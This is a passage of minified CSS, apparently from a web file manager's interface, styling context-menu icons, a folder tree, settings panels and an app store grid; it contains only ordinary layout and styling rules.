!important;}.context-menu-list .context-menu-item.past .font-icon{display:inline-block;background-image:url("../../../images/common/menu_icon.png");width:16px !important;background-position:-16px -64px;background-size:auto !important;background-repeat:no-repeat;height:16px;margin-right:15px;}.context-menu-list .context-menu-item.past .font-icon:before{content:"" !important;}.context-menu-list .context-menu-item.remove .font-icon,.context-menu-list .context-menu-item.fav-remove .font-icon,.context-menu-list .context-menu-item .close .font-icon{display:inline-block;background-image:url("../../../images/common/menu_icon.png");width:16px !important;background-position:0 -80px;background-size:auto !important;background-repeat:no-repeat;height:16px;margin-right:15px;}.context-menu-list .context-menu-item.remove .font-icon:before,.context-menu-list .context-menu-item.fav-remove .font-icon:before,.context-menu-list .context-menu-item .close .font-icon:before{content:"" !important;}.context-menu-list .context-menu-item.zip .font-icon{display:inline-block;background-image:url("../../../images/common/menu_icon.png");width:16px !important;background-position:-16px -32px;background-size:auto !important;background-repeat:no-repeat;height:16px;margin-right:15px;}.context-menu-list .context-menu-item.zip .font-icon:before{content:"" !important;}.context-menu-list .context-menu-item.unzip .icon-folder-open-alt{display:inline-block;background-image:url("../../../images/common/menu_icon.png");width:16px !important;background-position:0 -32px;background-size:auto !important;background-repeat:no-repeat;height:16px;margin-right:15px;}.context-menu-list .context-menu-item.unzip .icon-folder-open-alt:before{content:"" !important;}.context-menu-list .context-menu-item.share .font-icon{display:inline-block;background-image:url("../../../images/common/menu_icon.png");width:16px !important;background-position:-15px -703px;background-size:auto !important;background-repeat:no-repeat;height:16px;margin-right:15px;}.context-menu-list .context-menu-item.share .font-icon:before{content:"" !important;}.context-menu-list .context-menu-item.open-text .font-icon{display:inline-block;background-image:url("../../../images/common/menu_icon.png");width:16px !important;background-position:1px -702px;background-size:auto !important;background-repeat:no-repeat;height:16px;margin-right:15px;}.context-menu-list .context-menu-item.open-text .font-icon:before{content:"" !important;}.context-menu-list .context-menu-item.setBackground .font-icon{display:inline-block;background-image:url("../../../images/common/menu_icon.png");width:16px !important;background-position:-16px -609px;background-size:auto !important;background-repeat:no-repeat;height:16px;margin-right:15px;}.context-menu-list .context-menu-item.setBackground .font-icon:before{content:"" !important;}.context-menu-list .context-menu-item.fav .font-icon,.context-menu-list .context-menu-item.fav-page .font-icon{display:inline-block;background-image:url("../../../images/common/menu_icon.png");width:16px !important;background-position:-16px -773px;background-size:auto !important;background-repeat:no-repeat;height:16px;margin-right:15px;}.context-menu-list .context-menu-item.fav .font-icon:before,.context-menu-list .context-menu-item.fav-page .font-icon:before{content:"" !important;}.context-menu-list .context-menu-item.set-file-icon-size .font-icon.icon-picture,.context-menu-list .context-menu-item.setting-wall .font-icon.icon-picture{display:inline-block;background-image:url("../../../images/common/menu_icon.png");width:16px !important;background-position:0px -577px;background-size:auto !important;background-repeat:no-repeat;height:16px;margin-right:15px;}.context-menu-list .context-menu-item.set-file-icon-size .font-icon.icon-picture:before,.context-menu-list .context-menu-item.setting-wall .font-icon.icon-picture:before{content:"" !important;}.context-menu-list .context-menu-item.sort-by .font-icon.icon-sort{display:inline-block;background-image:url("../../../images/common/menu_icon.png");width:16px !important;background-position:-16px -528px;background-size:auto !important;background-repeat:no-repeat;height:16px;margin-right:15px;}.context-menu-list .context-menu-item.sort-by .font-icon.icon-sort:before{content:"" !important;}.context-menu-list .context-menu-item.list-icon .font-icon.icon-eye-open{display:inline-block;background-image:url("../../../images/common/menu_icon.png");width:16px !important;background-position:1px -625px;background-size:auto !important;background-repeat:no-repeat;height:16px;margin-right:15px;}.context-menu-list .context-menu-item.list-icon .font-icon.icon-eye-open:before{content:"" !important;}.context-menu-list .context-menu-item.file-select-all > .font-icon{display:inline-block;background-image:url("../../../images/common/menu_icon.png");width:16px !important;background-position:0px -545px;background-size:auto !important;background-repeat:no-repeat;height:16px;margin-right:15px;}.context-menu-list .context-menu-item.file-select-all > .font-icon:before{content:"" !important;}.context-menu-list .context-menu-item.file-select-clear > .font-icon{display:inline-block;background-image:url("../../../images/common/menu_icon.png");width:16px !important;background-position:-16px -546px;background-size:auto !important;background-repeat:no-repeat;height:16px;margin-right:15px;}.context-menu-list .context-menu-item.file-select-clear > .font-icon:before{content:"" !important;}.context-menu-list .context-menu-item.file-select-reverse > .font-icon{display:inline-block;background-image:url("../../../images/common/menu_icon.png");width:16px !important;background-position:-16px -593px;background-size:auto !important;background-repeat:no-repeat;height:16px;margin-right:15px;}.context-menu-list .context-menu-item.file-select-reverse > .font-icon:before{content:"" !important;}.context-menu-list .context-menu-item .font-icon.icon-code-fork{display:inline-block;background-image:url("../../../images/file_icon/icon_app/history.png");width:16px !important;background-repeat:no-repeat;background-size:100% 100%;}.context-menu-list .context-menu-item .font-icon.icon-code-fork:before{content:"" !important;}.context-menu-list .context-menu-item .font-icon.icon-info{color:#fff !important;background:#c4e5ff;text-align:center;width:15px;border-radius:50%;height:15px;line-height:15px;margin-right:15px;box-shadow:0 0 0 1px #6db9f5;}.ztree{margin:0px;padding:10px 0px;font-size:1em;}.ztree li{padding:0;margin:0;list-style:none;text-align:left;white-space:nowrap;outline:0;}.ztree li ul{margin:0;padding:0;}.ztree li.level0{margin-bottom:4px;}.ztree li.level0>span.tree_icon{width:20px;}.ztree li span{line-height:24px;}.ztree li span.button{line-height:0;margin:0;display:inline-block;vertical-align:middle;cursor:pointer;outline:none;background-color:transparent;background-repeat:no-repeat;height:24px;width:20px;margin-right:5px;}.ztree li span.button.switch{width:25px;height:25px;margin-right:0px;background:none;text-align:center;line-height:25px;}.ztree li span.button.switch:hover{background:rgba(0,0,0,0.03);}.ztree li span.button.switch:after{content:"\f0da";font-family:FontAwesome;color:#aaa;text-decoration:inherit;font-size:1.25em;line-height:16px;padding-left:6px;-webkit-font-smoothing:antialiased;}.ztree li span.button.switch.noline_docu:after{content:' ';}.ztree li span.button.switch.noline_open:after,.ztree li span.button.switch.noline_open_hover:after{content:"\f0d7";}.ztree li span.button.switch.switch_hover:after{color:#63acff;}.ztree li span.button.ico_loading{background:url("../../../images/common/loading_tree.gif") no-repeat 0 0px transparent !important;}.ztree li span.button.ico_loading .x-item-file{display:none;}.ztree li span.tree_icon{height:21px;width:21px;background:none;overflow:hidden;}.ztree li span.tree_icon img{width:100%;max-width:100%;max-height:100%;}.ztree li a{padding-top:0px;cursor:pointer;text-decoration:none;display:block;margin:0;color:#333;vertical-align:top;line-height:24px;height:24px;padding-left:10px;border:1px solid #fff;position:relative;}.ztree li a:hover{text-decoration:none;-webkit-transition:all 0.1s;-moz-transition:all 0.1s;-o-transition:all 0.1s;-ms-transition:all 0.1s;transition:all 0.1s;background:#eee;height:24px;border:1px solid #eee;}.ztree li a.curSelectedNode,.ztree li a.curDropTreeNode{border:1px solid #63acff;background:#63acff;line-height:24px;height:24px;color:#fff;}.ztree li a.curSelectedNode .button.switch:after,.ztree li a.curDropTreeNode .button.switch:after{color:#fff !important;}.ztree li a.curDropTreeNode{box-shadow:0 0 0 1px #fff inset !important;}.ztree li a.curSelectedNode_Edit{border:1px solid #63acff;background:#63acff;color:black;height:24px;}.ztree li a input.rename{height:24px;line-height:24px;padding:0;margin:0;border:none;outline:none;margin-left:-3px;padding-left:3px;width:106px;position:absolute;margin-top:0;}.ztree li a span.button.root_docu,.ztree li a span.button.noline_docu{background:none;}.ztree li a .menu-item{display:none;position:absolute;right:4px;top:4px;width:14px;height:13px;box-sizing:content-box;text-align:center;border:1px solid #ccc;background:#fff;border-radius:2px;cursor:pointer;z-index:50;}.ztree li a .menu-item:hover{border-color:#3399ff;background:#dff1ff;box-shadow:0 0 5px rgba(0,0,0,0.1);}.ztree li a .menu-item:hover .cert{border-top-color:#3399ff;}.ztree li a .menu-item .cert{margin-top:5px;margin-left:3px;width:0;height:0;border-left:4px solid transparent;border-right:4px solid transparent;border-top:5px solid silver;}.ztree li a:hover .menu-item,.ztree li a.curSelectedNode .menu-item{display:block;}ul.ztree.zTreeDragUL{margin:0;padding:0;position:absolute;width:auto;height:auto;background-color:#63acff;border:1px solid #63acff;opacity:0.5;filter:alpha(opacity=50);}ul.ztree.zTreeDragUL li a span.space{display:none !important;}ul.ztree.zTreeDragUL li a{padding:4px 10px 0 10px;color:#fff;}ul.ztree.zTreeDragUL li span.button.switch{display:none;}.ztree li a.tmpTargetNode_inner{background:#0076fc;border:1px solid #3091ff;color:#fff;}.ztree li a.tmpTargetNode_prev{border-bottom:1px solid #f96;}.ztree li a.tmpTargetNode_next{border-bottom:1px solid #f96;}span.tmpzTreeMove_arrow{display:inline-block;margin:4px 0 0 2px;position:absolute;border-color:transparent transparent transparent #fff;border-style:solid;border-width:7px 0px 7px 7px;width:0;height:0;_border-top-color:white;_border-bottom-color:white;_filter:chroma(color=white);}.frame-left .ztree li .file{line-height:0;margin:0;display:inline-block;vertical-align:middle;cursor:pointer;outline:none;background-color:transparent;background-repeat:no-repeat;height:22px;width:18px;margin-right:5px;}body{-khtml-user-select:none;-webkit-user-select:none;-moz-user-select:none;-ms-user-select:none;-o-user-select:none;user-select:none;overflow-x:hidden;}body ul{margin:0;padding:0;}body li{margin:0;padding:0;}#body a,body a{text-decoration:none;}#body input[type='text'],#body input[type='password'],#body input[type='number'],body input[type='text'],body input[type='password'],body input[type='number']{padding-left:0.5em;outline:none;border:1px solid #bbb;border:1px solid #ddd;background:#fff;box-shadow:inset 0 1px 1px rgba(0,0,0,0.08);-webkit-transition:all ease-in-out .168s;-moz-transition:all ease-in-out .168s;-o-transition:all ease-in-out .168s;-ms-transition:all ease-in-out .168s;transition:all ease-in-out .168s;border-radius:3px;}#body input[type='text']:focus,#body input[type='password']:focus,#body input[type='number']:focus,body input[type='text']:focus,body input[type='password']:focus,body input[type='number']:focus{border-color:#75A1F0;outline:none;box-shadow:0 0 0 3px rgba(117,161,240,0.3);}#body .font-icon,body .font-icon{padding-right:0.8em;display:inline-block;}#body .system-content .left-frame .left-content .role-box ul li.select,body .system-content .left-frame .left-content .role-box ul li.select{background:#80DBFF;}#body .system-content .left-frame .left-content .ztree,body .system-content .left-frame .left-content .ztree{padding:5px 0px;}#body .system-content .left-frame .left-content .ztree li a,body .system-content .left-frame .left-content .ztree li a{border:1px solid transparent;padding:0px;}#body .system-content .left-frame .left-content .ztree li a.hover,body .system-content .left-frame .left-content .ztree li a.hover{border:1px solid #63acff;color:#444;}#body .system-content .left-frame .left-content .ztree li a.curSelectedNode,body .system-content .left-frame .left-content .ztree li a.curSelectedNode{color:#666;border:1px solid #63acff;}#body .system-content .left-frame .left-content .ztree li a.curSelectedNode.hover,body .system-content .left-frame .left-content .ztree li a.curSelectedNode.hover{color:#666;border:1px solid #63acff;}#body .system-content .left-frame .left-content .ztree li a.hover,body .system-content .left-frame .left-content .ztree li a.hover{border:1px solid #eee;}#body .system-content .left-frame .left-content .ztree li a.curSelectedNode,#body .system-content .left-frame .left-content .ztree li a.curSelectedNode.hover,body .system-content .left-frame .left-content .ztree li a.curSelectedNode,body .system-content .left-frame .left-content .ztree li a.curSelectedNode.hover{color:#eee;}#body .panel,body .panel{border-radius:0;margin-right:30px;}#body .panel-default>.panel-heading,body .panel-default>.panel-heading{background:#eee;padding:8px 15px;}#body .panel-title,body .panel-title{font-size:1.1em;}#body .setting-tab,#body .system-content,body .setting-tab,body .system-content{margin-right:30px;}#body .setting-tab .panel-body,#body .system-content .panel-body,body .setting-tab .panel-body,body .system-content .panel-body{padding:20px 0 0 0;}#body .setting-tab .form-row,#body .system-content .form-row,body .setting-tab .form-row,body .system-content .form-row{padding:0 5px;}#body .setting-tab .line,#body .system-content .line,body .setting-tab .line,body .system-content .line{margin:10px 10px;}#body .setting-tab .form-row .setting-title,#body .system-content .form-row .setting-title,body .setting-tab .form-row .setting-title,body .system-content .form-row .setting-title{text-align:left;}#body .setting-tab .form-row-submit,#body .system-content .form-row-submit,body .setting-tab .form-row-submit,body .system-content .form-row-submit{background:#eee;margin:10px 0 10px 0;border-top:1px solid #ddd;height:60px;width:100%;}#body .setting-tab .form-row-submit .setting-content,#body .system-content .form-row-submit .setting-content,body .setting-tab .form-row-submit .setting-content,body .system-content .form-row-submit .setting-content{margin:10px;}#body .setting-tab .form-row-submit .btn,#body .system-content .form-row-submit .btn,body .setting-tab .form-row-submit .btn,body .system-content .form-row-submit .btn{padding:4px 2em;margin-left:10px;}#body .setting-tab .form-row-submit .btn.btn-remove,#body .system-content .form-row-submit .btn.btn-remove,body .setting-tab .form-row-submit .btn.btn-remove,body .system-content .form-row-submit .btn.btn-remove{float:right;color:#666;background:none;}#body .setting-tab .form-row-submit .save,#body .system-content .form-row-submit .save,body .setting-tab .form-row-submit .save,body .system-content .form-row-submit .save{width:60px;}#body .setting-tools-right,body .setting-tools-right{position:absolute;right:30px;top:27px;}#body .setting-tools-right .version-vip,body .setting-tools-right .version-vip{display:inline-block;float:right;right:120px;top:26px;text-align:center;padding:0px 10px;height:24px;line-height:24px;border-radius:3px;}#body .setting-tools-right .system-setting-more,body .setting-tools-right .system-setting-more{margin-left:10px;}#body .color-default,body .color-default{position:absolute;left:500px;top:28px;margin-top:43px;width:325px;border-radius:6px;box-shadow:0 0 20px #ddd inset;}#body .color-default .color-list,body .color-default .color-list{width:50px;height:50px;float:left;margin:7px;cursor:pointer;box-shadow:0 0 10px #ddd;border-radius:50%;}#body .color-default .color-list:hover,body .color-default .color-list:hover{box-shadow:0 0 10px rgba(0,0,0,0.5);}#body .menu-left,body .menu-left{position:fixed;z-index:10;background:#f9f9f9;left:0;height:100%;width:18%;border-right:1px solid #ddd;margin-left:-1px;}#body .menu-left h1,body .menu-left h1{text-align:left;color:#666;padding:15px 20px 10px 30px;font-size:35px;font-weight:800;margin:0;padding:10px 0px 10px 20px;font-size:28px;height:50px;line-height:50px;letter-spacing:2px;}#body .menu-left .setting a,body .menu-left .setting a{height:40px;line-height:40px;text-decoration:none;box-sizing:border-box;text-indent:8px;color:#666;display:block;overflow:hidden;cursor:pointer;text-transform:capitalize;-webkit-transition:all 0.2s;-moz-transition:all 0.2s;-o-transition:all 0.2s;-ms-transition:all 0.2s;transition:all 0.2s;font-size:15px;}#body .menu-left .setting a:hover,body .menu-left .setting a:hover{background:#f3f3f3;}#body .menu-left .setting a.selected,body .menu-left .setting a.selected{background:#ddd;color:#000;border-left:5px solid #EA533F;padding-left:10px;}#body .main .dropdown-menu,body .main .dropdown-menu{font-size:13px;}#body .main.app-content,body .main.app-content{left:160px;right:0;bottom:0;top:0;margin:0;width:auto;height:auto;}#body .main.app-content .app-model,body .main.app-content .app-model{position:absolute;bottom:0;top:0px;left:0px;right:0;overflow:auto;padding:20px;overflow-x:hidden;}#body .main.app-content .app-model .h1,body .main.app-content .app-model .h1{border-bottom:1px solid #ddd;padding-bottom:10px;}#body .main.app-content .app-model .search-words,body .main.app-content .app-model .search-words{font-size:14px;position:absolute;padding:5px 10px;margin:0 10px;}#body .main.app-content .app-model .clear-search-btn,body .main.app-content .app-model .clear-search-btn{cursor:pointer;display:inline-block;}#body .main.app-content .app-model .clear-search-btn:hover,body .main.app-content .app-model .clear-search-btn:hover{color:#f6b29b;}#body .main.app-content .app-list,body .main.app-content .app-list{margin-top:10px;margin-right:-15px;padding:10px 0 40px 0;display:flex;justify-content:space-between;flex-wrap:wrap;}#body .main.app-content .app-list .flex-empty,body .main.app-content .app-list .flex-empty{margin:0 15px 20px 0;width:140px;height:1px;}#body .main.app-content .app-list .app-li,body .main.app-content .app-list .app-li{list-style:none;cursor:pointer;text-align:center;float:left;margin:0 15px 20px 0;width:140px;height:200px;background:#f5faff;color:#2196F3;border:1px solid #d2d7dc;position:relative;-webkit-transition:0.16s all;-moz-transition:0.16s all;-o-transition:0.16s all;-ms-transition:0.16s all;transition:0.16s all;border-radius:4px;background:none;border:1px solid #dee5e7;box-shadow:0 1px 2px rgba(0,0,0,0.1);}#body .main.app-content .app-list .app-li:hover,body .main.app-content .app-list .app-li:hover{background:#e2f2ff;}#body .main.app-content .app-list .app-li:hover,body .main.app-content .app-list .app-li:hover{background:#fff;box-shadow:0px 20px 100px rgba(0,0,0,0.1), 0px 20px 30px rgba(0,0,0,0.05);}#body .main.app-content .app-list .app-li .price-label,body .main.app-content .app-list .app-li .price-label{position:absolute;top:10px;right:-1px;border-radius:0;line-height:24px;height:24px;padding:0 10px;box-shadow:-3px 2px 5px rgba(0,0,0,0.3);}#body .main.app-content .app-list .app-li .price-label.label:before,body .main.app-content .app-list .app-li .price-label.label:before{position:absolute;top:0;left:-14px;content:" ";height:0;width:0;border:#f0ad4e 12px solid;border-left-color:transparent;}#body .main.app-content .app-list .app-li .price-label.label-warning,body .main.app-content .app-list .app-li .price-label.label-warning{background:#ff9800;}#body .main.app-content .app-list .app-li .price-label.label-warning.label:before,body .main.app-content .app-list .app-li .price-label.label-warning.label:before{border-color:#ff9800;border-left-color:transparent;}#body .main.app-content .app-list .app-li .price-label.label-success,body .main.app-content .app-list .app-li .price-label.label-success{background:#00a854;}#body .main.app-content .app-list .app-li .price-label.label-success.label:before,body .main.app-content .app-list .app-li .price-label.label-success.label:before{border-color:#00a854;border-left-color:transparent;}#body .main.app-content .app-list .app-li .icon,body .main.app-content .app-list .app-li .icon{background-image:linear-gradient(to bottom,#def 0,#fff 100%);border-radius:4px;}#body .main.app-content .app-list .app-li .flag-box,body .main.app-content .app-list .app-li .flag-box{overflow:hidden;position:absolute;right:0;width:60px;height:60px;}#body .main.app-content .app-list .app-li .flag,body .main.app-content .app-list .app-li .flag{position:absolute;top:10px;right:-28px;width:100px;height:22px;line-height:22px;box-shadow:0 1px 5px rgba(0,0,0,0.2);font-size:12px;color:#fff;overflow:hidden;text-overflow:ellipsis;transform:rotate(45deg);}#body .main.app-content .app-list .app-li .text,body .main.app-content .app-list .app-li .text{height:50px;}#body .main.app-content .app-list .app-li .name,body .main.app-content .app-list .app-li .name{color:#444;font-weight:800;margin:10px 5px 0;max-height:32px;overflow:hidden;}#body .main.app-content .app-list .app-li .copyright,body .main.app-content .app-list .app-li .copyright{color:#aaa;max-height:32px;overflow:hidden;}#body .main.app-content .app-list .app-li .icon,body .main.app-content .app-list .app-li .icon{height:90px;background-color:rgba(0,0,0,0.01);}#body .main.app-content .app-list .app-li .icon img,body .main.app-content .app-list .app-li .icon img{max-width:100%;max-height:100%;width:72px;border-radius:10%;}#body .main.app-content .app-list .app-li .icon .content,body .main.app-content .app-list .app-li .icon .content{width:80px;height:80px;padding:10px;margin:0 auto;}#body .main.app-content .app-list .app-li .icon .content .font-icon,body .main.app-content .app-list .app-li .icon .content .font-icon{width:55px;height:55px;line-height:52px;font-size:40px;text-align:center;background-image:linear-gradient(164deg,rgba(255,255,255,0.5),rgba(255,255,255,0));padding:10px;margin-top:1px;display:inline-block;border-radius:12px;color:#fff;}#body .main.app-content .app-list .app-li .icon .content .font-icon.words,body .main.app-content .app-list .app-li .icon .content .font-icon.words{font-size:26px;font-weight:800;text-shadow:0 0 5px rgba(255,255,255,0.8);}#body .main.app-content .app-list .app-li .action i,body .main.app-content .app-list .app-li .action i{padding-right:0.3em;color:inherit;}#body .main.app-content .app-list .app-li .action .btn.btn-default i.font-icon,body .main.app-content .app-list .app-li .action .btn.btn-default i.font-icon{color:#999;}#body .main.app-content .app-list .app-li .action>.btn,body .main.app-content .app-list .app-li .action>.btn{float:none;width:80px;height:22px;height:22px\0;padding-left:0;padding-right:0;}#body .main.app-content .app-list .app-li .action .btn-default.dropdown-toggle,body .main.app-content .app-list .app-li .action .btn-default.dropdown-toggle{color:#aaa;}#body .main.app-content .app-list .app-li .action .dropdown-toggle,body .main.app-content .app-list .app-li .action .dropdown-toggle{width:25px;}#body .main.app-content .app-list .app-li .action .dropdown-menu,body .main.app-content .app-list .app-li .action .dropdown-menu{min-width:130px;text-align:left;margin-top:-1px;}#body .main.app-content .app-list .empty,body .main.app-content .app-list .empty{margin:50px auto;font-size:20px;color:#888;}#body .main.app-content .app-list .empty .icon,body .main.app-content .app-list .empty .icon{background:url("../../../images/file_icon/icon_others/appStore.png");width:120px;height:120px;margin:0 auto;margin-bottom:20px;background-size:cover;}#body .main.app-content .progress,body .main.app-content .progress{border-radius:0px;margin:0 auto;color:#42a3f1;font-size:12px;height:23px;background:none;border:none;box-shadow:none;}#body .main.app-content .progress .total-size,body .main.app-content .progress .total-size{position:absolute;left:5px;z-index:100;line-height:20px;}#body .main.app-content .progress .download-speed,body .main.app-content .progress .download-speed{position:absolute;right:4px;z-index:100;line-height:20px;}#body .main.app-content .progress .progress-bar,body .main.app-content .progress .progress-bar{position:absolute;left:0px;bottom:-1px;border-bottom:2px solid #2196F3;background:none;border-radius:3px;box-shadow:none;height:100%;background:rgba(33,150,243,0.2);animation:progress-bar-stripes 2s linear infinite;}#body .main.app-content.app-plugins .app-li .icon img,body .main.app-content.app-plugins .app-li .icon img{border-radius:0;box-shadow:none;border-radius:4px 4px 0 0;}#body .main.app-content.app-plugins .app-li .action .dropdown-toggle,body .main.app-content.app-plugins .app-li .action .dropdown-toggle{margin-left:-5px;}#body.plugin-page .app-menu-left .line,body.plugin-page .app-menu-left .line{margin:5px 10px 5px 20px;color:#6B95B2;padding:4px 6px;border-bottom:1px solid #EBF0F5;border-color:rgba(150,150,150,0.3);}#body.plugin-page .app-menu-left .search input,body.plugin-page .app-menu-left .search input{width:105px;height:25px;margin:10px 10px 10px 20px;padding-left:24px !important;}#body.plugin-page .app-menu-left .search .search-btn,body.plugin-page .app-menu-left .search .search-btn{position:absolute;width:25px;height:25px;line-height:25px;padding:0;color:#888;cursor:pointer;text-align:center;}#body.plugin-page .app-menu-left .search .search-btn:hover,body.plugin-page .app-menu-left .search .search-btn:hover{color:#444;}#body.plugin-page .app-menu-left .search .search-btn.btn-search,body.plugin-page .app-menu-left .search .search-btn.btn-search{top:11px;left:21px;height:27px;width:27px;}#body.plugin-page .app-menu-left .search .search-btn.btn-close,body.plugin-page .app-menu-left .search .search-btn.btn-close{left:128px;top:14px;width:20px;height:20px;line-height:20px;background:#eee;border-radius:50%;}#body.plugin-page .app-config .panel-body,body.plugin-page .app-config .panel-body{padding:20px 0;}#body.plugin-page .app-config .header,body.plugin-page .app-config .header{padding:0px 0 5px 0;border-bottom:1px solid #ddd;}#body.plugin-page .app-config .header .btn,body.plugin-page .app-config .header .btn{position:absolute;top:10px;}#body.plugin-page .app-config .header .name,body.plugin-page .app-config .header .name{color:#0086E5;font-size:18px;font-weight:800;text-align:center;}#body.plugin-page .app-descript .header,body.plugin-page .app-descript .header{padding:0px 0 5px 0;}#body.plugin-page .app-descript .header .btn,body.plugin-page .app-descript .header .btn{position:absolute;top:10px;}#body.plugin-page .app-descript .header .name,body.plugin-page .app-descript .header .name{color:#0086E5;font-size:18px;font-weight:800;text-align:center;margin-left:200px;}#body.plugin-page .app-descript h1,#body.plugin-page .app-descript h2,#body.plugin-page .app-descript h3,#body.plugin-page .app-descript h4,#body.plugin-page .app-descript h5,#body.plugin-page .app-descript .h1,#body.plugin-page .app-descript .h2,#body.plugin-page .app-descript .h3,#body.plugin-page .app-descript .h4,#body.plugin-page .app-descript .h5,body.plugin-page .app-descript h1,body.plugin-page .app-descript h2,body.plugin-page .app-descript h3,body.plugin-page .app-descript h4,body.plugin-page .app-descript h5,body.plugin-page .app-descript .h1,body.plugin-page .app-descript .h2,body.plugin-page .app-descript .h3,body.plugin-page .app-descript .h4,body.plugin-page .app-descript .h5{border-bottom:1px solid #ddd;padding:0.5em 0;}#body.plugin-page .app-descript .left-content,body.plugin-page .app-descript .left-content{position:absolute;left:20px;top:50px;width:150px;padding:15px;margin:0 0 20px 0;background:#fafdff;color:#888;border:1px solid #eee;}#body.plugin-page .app-descript .left-content .icon,body.plugin-page .app-descript .left-content .icon{height:90px;background-color:rgba(0,0,0,0.001);}#body.plugin-page .app-descript .left-content .icon img,body.plugin-page .app-descript .left-content .icon img{max-width:100%;max-height:100%;border-radius:10px;}#body.plugin-page .app-descript .left-content .icon .content,body.plugin-page .app-descript .left-content .icon .content{width:80px;height:80px;padding:10px;margin:0 auto;}#body.plugin-page .app-descript .left-content .icon .content .font-icon,body.plugin-page .app-descript .left-content .icon .content .font-icon{width:55px;height:55px;line-height:52px;font-size:40px;text-align:center;background-image:linear-gradient(164deg,rgba(255,255,255,0.5),rgba(255,255,255,0));padding:10px;margin-top:1px;display:inline-block;border-radius:12px;color:#fff;}#body.plugin-page .app-descript .left-content .icon .content .font-icon.words,body.plugin-page .app-descript .left-content .icon .content .font-icon.words{font-size:26px;font-weight:800;text-shadow:0 0 5px rgba(255,255,255,0.8);}#body.plugin-page .app-descript .left-content .btn,body.plugin-page .app-descript .left-content .btn{margin:10px 0 0;width:80px;}#body.plugin-page .app-descript .left-content .btn.dropdown-toggle,body.plugin-page .app-descript .left-content .btn.dropdown-toggle{width:20px;margin-left:-1px;}#body.plugin-page .app-descript .left-content .app-title,body.plugin-page .app-descript .left-content .app-title{text-align:center;color:#555;padding:15px 10px 0 10px;}#body.plugin-page .app-descript .left-content .line,body.plugin-page .app-descript .left-content .line{border-bottom:1px solid #eee;margin:10px 0;}#body.plugin-page .app-descript .left-content .title,body.plugin-page .app-descript .left-content .title{color:#444;font-weight:800;padding:10px 0 3px 15px;}#body.plugin-page .app-descript .left-content .p,body.plugin-page .app-descript .left-content .p{padding:0 0 0 15px;}#body.plugin-page .app-descript .right-content,body.plugin-page .app-descript .right-content{position:absolute;left:200px;right:20px;top:45px;}#body.plugin-page .app-descript .right-content .description,body.plugin-page .app-descript .right-content .description{padding:10px 0 20px 15px;line-height:1.6em;word-break:break-all;font-size:13px;}#body.plugin-page .app-descript .right-content .sliders,body.plugin-page .app-descript .right-content .sliders{margin:5px 0 30px 20px;padding:0;}#body.plugin-page .app-descript .right-content .carousel-indicators,body.plugin-page .app-descript .right-content .carousel-indicators{bottom:-40px !important;}#body.plugin-page .app-descript .right-content .carousel-indicators li,body.plugin-page .app-descript .right-content .carousel-indicators li{border-color:#ccc;}#body.plugin-page .app-descript .right-content .carousel-indicators .active,body.plugin-page .app-descript .right-content .carousel-indicators .active{background:#2196F3;border-color:#2865e2;background:linear-gradient(to right,#44abf6,#2865e2);}#body.plugin-page .app-descript .right-content .glyphicon,body.plugin-page .app-descript .right-content .glyphicon{font-size:50px;margin-top:-30px !important;border-radius:50%;}#body.plugin-page .app-descript .right-content .carousel-control,body.plugin-page .app-descript .right-content .carousel-control{background:rgba(0,0,0,0.001) !important;width:20%;}#body.plugin-page .app-descript .right-content .carousel-control:hover .glyphicon,body.plugin-page .app-descript .right-content .carousel-control:hover .glyphicon{background:rgba(0,0,0,0.3);}#body.plugin-page .app-descript .right-content .carousel-inner,body.plugin-page .app-descript .right-content .carousel-inner{width:100%;text-align:center;}#body.plugin-page .app-descript .right-content .carousel-inner .item,body.plugin-page .app-descript .right-content .carousel-inner .item{height:350px;line-height:350px;width:100%;}#body.plugin-page .app-descript .right-content .carousel-inner .item img,#body.plugin-page .app-descript .right-content .carousel-inner .item a img,body.plugin-page .app-descript .right-content .carousel-inner .item img,body.plugin-page .app-descript .right-content .carousel-inner .item a img{margin:0 auto;max-width:100%;max-height:100%;display:inline;box-shadow:0 1px 5px rgba(0,0,0,0.4);}#body.plugin-page .app-descript .progress,body.plugin-page .app-descript .progress{background:#def;margin:10px 0;position:relative;}#body.plugin-page .app-descript .progress .progress-bar,body.plugin-page .app-descript .progress .progress-bar{border-bottom:4px solid #2196F3;border-radius:0;}#body .randomImage,body .randomImage{width:25px;height:25px;margin-left:15px;cursor:pointer;}#body .main,body .main{position:absolute;left:18%;width:82%;height:93%;margin:30px 0 0 10px;}#body .main .h1 .font-icon,body .main .h1 .font-icon{padding-right:16px;}#body .main div.h1,body .main div.h1{font-weight:400;color:#666;padding-bottom:8px;margin:0;font-size:22px;}#body .main .savebox,body .main .savebox{border-top:1px solid #eee;margin-bottom:10px;}#body .main .savebox a.save,body .main .savebox a.save{margin-left:5px;margin-top:5px;padding:4px 20px;}#body .main .section .box,body .main .section .box{display:flex;justify-content:space-between;flex-wrap:wrap;align-items:flex-start;margin-right:20px;}#body .main .section .box .flex-list,body .main .section .box .flex-list{float:left;width:140px;margin-right:10px;margin-bottom:0px;}#body .main .section .box .list,body .main .section .box .list{float:left;width:140px;height:115px;margin-right:10px;margin-bottom:15px;border:1px solid #ddd;background:#fff;cursor:pointer;border-radius:3px;-webkit-transition:all 0.2s;-moz-transition:all 0.2s;-o-transition:all 0.2s;-ms-transition:all 0.2s;transition:all 0.2s;}#body .main .section .box .list .ico,body .main .section .box .list .ico{width:120px;height:80px;margin:10px;text-align:center;}#body .main .section .box .list .theme,body .main .section .box .list .theme{margin:5px 10px;}#body .main .section .box .list .info,body .main .section .box .list .info{text-align:center;color:#666;margin:0px;margin-top:0px;font-size:1em;height:24px;line-height:24px;border-top:1px solid #eee;background:rgba(0,0,0,0.05);overflow:hidden;}#body .main .section .box .list .ico img,body .main .section .box .list .ico img{max-width:100%;height:100%;}#body .main .section .box .list.this,body .main .section .box .list.this{border:1px solid #63acff;background-color:#c9e2ff;}#body .main .section .box .list.this .info,body .main .section .box .list.this .info{color:#444;border-top:1px solid #c9e2ff;}#body .main .section .box .list.listhover,body .main .section .box .list.listhover{border:1px solid #63acff;}#body .main .section .content,body .main .section .content{word-break:break-all;color:#448;margin-bottom:20px;}#body .main .section .content h2,body .main .section .content h2{border-bottom:1px dashed #eef;padding-bottom:5px;margin-bottom:5px;font-weight:400;font-size:1.25em;}#body .main .section .content p,body .main .section .content p{margin-left:5px;text-indent:2em;margin-bottom:8px;color:#666;font-size:1em;-khtml-user-select:text;-webkit-user-select:text;-moz-user-select:text;-ms-user-select:text;-o-user-select:text;user-select:text;width:100%;}#body .main .section .content .box,body .main .section .content .box{color:#555;clear:both;color:#666;}#body .main .section .content .box .title,body .main .section .content .box 